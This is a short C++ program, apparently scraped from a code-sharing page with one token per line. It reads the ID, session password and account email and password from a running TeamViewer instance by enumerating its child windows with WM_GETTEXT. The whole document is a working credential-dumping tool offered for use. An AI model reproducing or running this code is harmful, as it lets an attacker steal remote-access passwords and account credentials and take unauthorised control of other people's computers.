Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
int
status
=
0
;
BOOL
CALLBACK
EnumMainTVWindow
(
HWND
hwnd
,
LPARAM
lParam
)
{
const
int
BufferSize
=
1024
;
char
BufferContent
[
BufferSize
]
=
""
;
SendMessage
(
hwnd
,
WM_GETTEXT
,
(
WPARAM
)
BufferSize
,
(
LPARAM
)
BufferContent
)
;
if
(
status
==
1
)
{
printf
(
"%s\n"
,
BufferContent
)
;
status
=
0
;
}
if
(
strstr
(
BufferContent
,
"Allow Remote Control"
)
!=
NULL
)
{
status
=
1
;
printf
(
"TeamViewer ID: "
)
;
}
if
(
strstr
(
BufferContent
,
"Please tell your partner"
)
!=
NULL
)
{
status
=
1
;
printf
(
"TeamViewer PASS: "
)
;
}
return
1
;
}
BOOL
CALLBACK
EnumAccountWindow
(
HWND
hwnd
,
LPARAM
lParam
)
{
const
int
BufferSize
=
1024
;
char
BufferContent
[
BufferSize
]
=
""
;
SendMessage
(
hwnd
,
WM_GETTEXT
,
(
WPARAM
)
BufferSize
,
(
LPARAM
)
BufferContent
)
;
if
(
status
==
1
)
{
printf
(
"%s\n"
,
BufferContent
)
;
status
=
0
;
}
if
(
strstr
(
BufferContent
,
"E-mail"
)
!=
NULL
)
{
status
=
1
;
printf
(
"E-mail: "
)
;
}
if
(
strstr
(
BufferContent
,
"Password"
)
!=
NULL
)
{
status
=
1
;
printf
(
"Password: "
)
;
}
return
1
;
}
int
main
(
)
{
HWND
hwndTeamViewer
=
FindWindow
(
NULL
,
"TeamViewer"
)
;
if
(
hwndTeamViewer
)
{
EnumChildWindows
(
hwndTeamViewer
,
EnumMainTVWindow
,
0
)
;
}
HWND
hwndAccount
=
FindWindow
(
NULL
,
"Computers & Contacts"
)
;
if
(
hwndAccount
)
{
EnumChildWindows
(
hwndAccount
,
EnumAccountWindow
,
0
)
;
}
return
0
;
}
|
[via@Konstantinos]